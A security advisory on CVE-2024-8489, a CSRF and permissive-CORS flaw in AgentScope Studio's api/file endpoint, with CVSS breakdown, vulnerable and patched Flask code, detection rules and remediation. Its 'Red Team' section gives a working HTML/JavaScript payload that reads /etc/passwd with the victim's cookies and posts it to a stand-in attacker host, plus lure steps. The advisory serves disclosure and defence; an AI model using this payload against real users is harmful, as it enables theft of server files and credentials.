CVE-2024-8489

Executive Summary

CVE-2024-8489 is a critical Cross-Site Request Forgery (CSRF) vulnerability in the AgentScope Studio backend server, part of the modelscope/agentscope project. The vulnerability stems from overly permissive CORS headers, allowing an attacker to forge requests from any origin. This enables unauthorized access to all backend endpoints, including the api/file endpoint, which can be exploited to read arbitrary files from the target's local file system. The vulnerability affects the latest commit (21161fe) on the main branch, and no official patch has been released at the time of analysis. The CVSS score is 8.8 (High), with a low attack complexity and no privileges required, but user interaction is required.

Supply Chain & Package Security

This vulnerability affects the agentscope Python package, which is distributed via PyPI. Users who have installed the package from PyPI and are running the AgentScope Studio backend server are at risk. The vulnerability is present in the source code and is not a dependency issue. Organizations should audit their use of this package and consider alternative solutions until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) - The victim must be logged into AgentScope Studio and visit a malicious page.
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H) - Arbitrary file read.
• Integrity (I): High (H) - Potential to modify data via other endpoints.
• Availability (A): High (H) - Potential to disrupt service.

Threat Level: Critical. The vulnerability allows an attacker to read arbitrary files from the server, potentially exposing sensitive data such as configuration files, credentials, and source code. Combined with other endpoints, it could lead to full server compromise.

Deep Dive & Mechanics

The vulnerability is caused by overly permissive CORS (Cross-Origin Resource Sharing) headers. The AgentScope Studio backend server is configured to accept requests from any origin (Access-Control-Allow-Origin: *). This allows a malicious website to make cross-origin requests to the backend server on behalf of a logged-in user.

The attack flow is as follows:

1. The victim is authenticated to the AgentScope Studio backend (e.g., via a session cookie).
2. The victim visits a malicious website controlled by the attacker.
3. The malicious website sends a crafted HTTP request (e.g., via JavaScript fetch or XMLHttpRequest) to the AgentScope Studio backend, targeting the api/file endpoint.
4. The browser automatically includes the victim's session cookies (if SameSite is not set to Strict or Lax), authenticating the request.
5. The server processes the request and returns the contents of the specified file, which is then exfiltrated to the attacker.

The api/file endpoint is particularly dangerous as it allows reading arbitrary files from the server's filesystem. The attacker can specify a file path (e.g., /etc/passwd, /proc/self/environ, or application configuration files) and retrieve its contents.

Vulnerable vs. Patched Code

Vulnerable Code (CORS configuration):

# Example of vulnerable CORS setup in AgentScope Studio
from flask import Flask
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={r"/*": {"origins": "*"}})  # Allows all origins

Patched Code (Recommended):

# Example of patched CORS setup
from flask import Flask
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={r"/api/*": {"origins": "https://trusted-domain.com"}})  # Restrict to trusted origins

The vulnerable code uses origins: "*", which allows any website to make cross-origin requests. The patched code restricts origins to a specific trusted domain. Additionally, implementing CSRF tokens would provide defense in depth.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of AgentScope Studio (latest commit 21161fe).
• A victim user logged into the AgentScope Studio web interface.
• An attacker-controlled website.

Exploitation Steps:

1. Set up a malicious website that hosts the following HTML/JavaScript payload.
2. Lure the victim to visit the malicious website while they are logged into AgentScope Studio.
3. The payload will make a cross-origin request to read a sensitive file (e.g., /etc/passwd).

Exploit Code (HTML/JavaScript):

<!DOCTYPE html>
<html>
<body>
<script>
// Target AgentScope Studio backend URL
var target = "http://victim-server:5000/api/file?path=/etc/passwd";

// Make a cross-origin request
fetch(target, {
    credentials: 'include'  // Include cookies
})
.then(response => response.text())
.then(data => {
    // Exfiltrate the data to attacker's server
    fetch("http://attacker-server/exfil", {
        method: "POST",
        body: data
    });
})
.catch(error => console.error('Error:', error));
</script>
</body>
</html>

Explanation: The script uses fetch with credentials: 'include' to send the victim's session cookies. The server, due to permissive CORS, responds with the file content. The data is then sent to the attacker's server.

Blue Team

Detection and Prevention:

1. Monitor for unusual cross-origin requests: Look for Origin headers that do not match expected domains.
2. Implement CSRF tokens: Add anti-CSRF tokens to all state-changing requests.
3. Restrict CORS: Change the CORS configuration to only allow trusted origins.
4. Use SameSite cookies: Set SameSite=Strict or SameSite=Lax on session cookies to prevent them from being sent with cross-origin requests.
5. Network segmentation: Ensure the AgentScope Studio backend is not exposed to the internet.

Lab Setup for Testing:

1. Install AgentScope Studio on a local machine or VM.
2. Start the backend server.
3. Create a simple HTML page with the exploit code above.
4. Open the HTML page in a browser while logged into AgentScope Studio.
5. Observe the file read in the server logs or network traffic.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to api/file endpoint with suspicious path parameters (e.g., /etc/passwd, /proc/self/environ, .env).
  • Origin header values that are unexpected or from unknown domains.
  • Repeated requests to api/file from the same IP address.
• File System IOCs:
  • Unauthorized access to sensitive files (e.g., /etc/shadow, application configuration files).
• Log IOCs:
  • Server logs showing GET /api/file?path=... requests with unusual paths.
  • Error logs indicating failed file read attempts.

Detection Engineering

YARA Rule

rule CVE_2024_8489_CSRF_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-8489 CSRF vulnerability in AgentScope Studio"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-8489"
    strings:
        $s1 = "api/file" ascii wide nocase
        $s2 = "path=" ascii wide nocase
        $s3 = "/etc/passwd" ascii wide nocase
        $s4 = "/proc/" ascii wide nocase
        $s5 = ".env" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-8489 - AgentScope Studio CSRF File Read Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-8489 by reading arbitrary files via the api/file endpoint
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'api/file?path='
    keywords:
        - '/etc/passwd'
        - '/proc/'
        - '.env'
        - '/etc/shadow'
    condition: selection and keywords
falsepositives:
    - Legitimate file access by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8489 - AgentScope Studio CSRF File Read Attempt"; flow:to_server; content:"GET"; http_method; content:"/api/file?path="; http_uri; content:"/etc/passwd"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict CORS headers: Change the CORS configuration to only allow trusted origins. If the application is used internally, restrict to the internal domain.
2. Implement CSRF tokens: Add anti-CSRF tokens to all state-changing endpoints, including api/file.
3. Set SameSite cookies: Configure session cookies with SameSite=Strict or SameSite=Lax to prevent them from being sent with cross-origin requests.
4. Network segmentation: Ensure the AgentScope Studio backend is not exposed to the internet. Use a reverse proxy or firewall to restrict access.

Long-term Fixes:

1. Apply official patch: Monitor the modelscope/agentscope repository for a security patch and apply it as soon as it is released.
2. Code review: Conduct a security review of the CORS configuration and other security-sensitive settings.
3. Update dependencies: Ensure all dependencies are up to date.

Workarounds:

• If the application is not needed, disable the AgentScope Studio backend.
• Use a web application firewall (WAF) to block requests to api/file with suspicious path parameters.

Valters IT